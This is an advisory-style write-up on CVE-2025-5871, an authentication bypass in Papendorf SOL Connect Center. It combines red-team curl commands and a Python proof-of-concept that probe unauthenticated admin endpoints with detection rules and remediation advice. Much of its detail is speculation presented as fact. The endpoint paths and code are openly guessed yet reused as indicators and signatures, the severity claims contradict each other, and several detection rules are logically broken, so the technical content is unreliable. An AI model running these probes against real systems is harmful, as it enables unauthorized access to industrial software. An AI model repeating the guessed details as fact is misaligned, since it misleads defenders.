CVE-2025-5871

Executive Summary

CVE-2025-5871 is a critical authentication bypass vulnerability in the Papendorf SOL Connect Center version 3.3.0.0. The web interface component fails to enforce proper authentication, allowing remote attackers to access administrative functions without credentials. The vendor has been unresponsive, leaving the product in an unpatched state. Public exploit code has been released, increasing the risk of active exploitation. This vulnerability is classified as problematic due to the lack of authentication, but the impact is limited to information disclosure and potential configuration manipulation.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary industrial control system (ICS) software product from Papendorf. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Public exploit available, no patch, remote exploitation possible.

Deep Dive & Mechanics

The SOL Connect Center web interface exposes endpoints that should require authentication but do not. The vulnerability lies in the lack of session validation or token verification for certain API calls or administrative pages. An attacker can directly access these endpoints by sending crafted HTTP requests without any authentication headers or cookies.

The root cause is a missing authentication check in the web server's request handling logic. The application likely uses a middleware or filter to protect sensitive routes, but this filter is either misconfigured or absent for specific paths. The manipulation leads to missing authentication, meaning the application does not verify the identity of the user before processing the request.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely resembles:

# Vulnerable: No authentication check
@app.route('/admin/config')
def admin_config():
    # Directly returns sensitive configuration
    return jsonify(config_data)

A patched version would include authentication verification:

# Patched: Authentication required
@app.route('/admin/config')
@login_required
def admin_config():
    return jsonify(config_data)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running SOL Connect Center 3.3.0.0
• Network access to the web interface (typically port 80 or 443)

Exploitation Steps:

1. Identify the web interface:

   curl -s http://target-ip:8080/
   

2. Attempt to access administrative endpoints without authentication:

   curl -s http://target-ip:8080/admin/config
   curl -s http://target-ip:8080/api/users
   curl -s http://target-ip:8080/settings
   

3. If successful, extract sensitive data or modify configurations.

Proof of Concept (PoC) Script:

import requests

target = "http://target-ip:8080"
endpoints = ["/admin/config", "/api/users", "/settings", "/logs"]

for endpoint in endpoints:
    r = requests.get(target + endpoint)
    if r.status_code == 200 and "unauthorized" not in r.text.lower():
        print(f"[+] Accessible: {endpoint}")
        print(r.text[:500])

Blue Team

Detection:

• Monitor for requests to sensitive endpoints without prior authentication.
• Look for anomalous access patterns, such as direct requests to /admin/ or /api/ paths.
• Use the Sigma rule provided in Detection Engineering.

Hunting:

• Search web server logs for requests to /admin, /api, /config, /settings without a preceding login event.
• Correlate with failed authentication attempts (if any) to identify scanning.

Containment:

• If possible, restrict network access to the web interface using firewall rules.
• Implement a reverse proxy with authentication (e.g., nginx with basic auth) in front of the application.
• Monitor for any unauthorized changes to system configurations.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /admin/config, /api/users, /settings, /logs without authentication headers.
  • Source IPs performing repeated scans of these endpoints.
• File:
  • Unauthorized modifications to configuration files (e.g., config.xml, settings.ini).
• Log:
  • Web server logs showing 200 responses for sensitive endpoints without prior login.
  • Absence of authentication-related log entries (e.g., no POST /login before GET /admin/config).

Detection Engineering

YARA Rule

rule CVE_2025_5871_Authentication_Bypass {
    meta:
        description = "Detects exploitation attempts for CVE-2025-5871 in SOL Connect Center"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-5871"
    strings:
        $s1 = "/admin/config" ascii wide nocase
        $s2 = "/api/users" ascii wide nocase
        $s3 = "/settings" ascii wide nocase
        $s4 = "/logs" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2025-5871 SOL Connect Center Authentication Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to sensitive endpoints without prior authentication
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5871
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/admin/config'
            - '/api/users'
            - '/settings'
            - '/logs'
    filter:
        cs-uri-stem: '/login'
    condition: selection and not filter
falsepositives:
    - Legitimate administrative access after login (if login is not logged)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5871 SOL Connect Center Authentication Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/admin/config"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-5871 SOL Connect Center Authentication Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/api/users"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-5871 SOL Connect Center Authentication Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/settings"; http_uri; nocase; sid:1000003; rev:1;)
alert http any any -> any any (msg:"CVE-2025-5871 SOL Connect Center Authentication Bypass Attempt"; flow:to_server; content:"GET"; http_method; content:"/logs"; http_uri; nocase; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from untrusted networks (e.g., place behind a VPN or firewall).
2. Implement a reverse proxy (e.g., nginx, Apache) with mandatory authentication (HTTP Basic Auth or OAuth) in front of the web interface.
3. Monitor logs for any signs of exploitation.

Long-term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative product.
• If source code is available, add authentication checks to all sensitive endpoints.
• Apply the principle of least privilege: ensure the web interface is only accessible from trusted IPs.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to /admin, /api, /settings, /logs unless preceded by a valid login.

Valters IT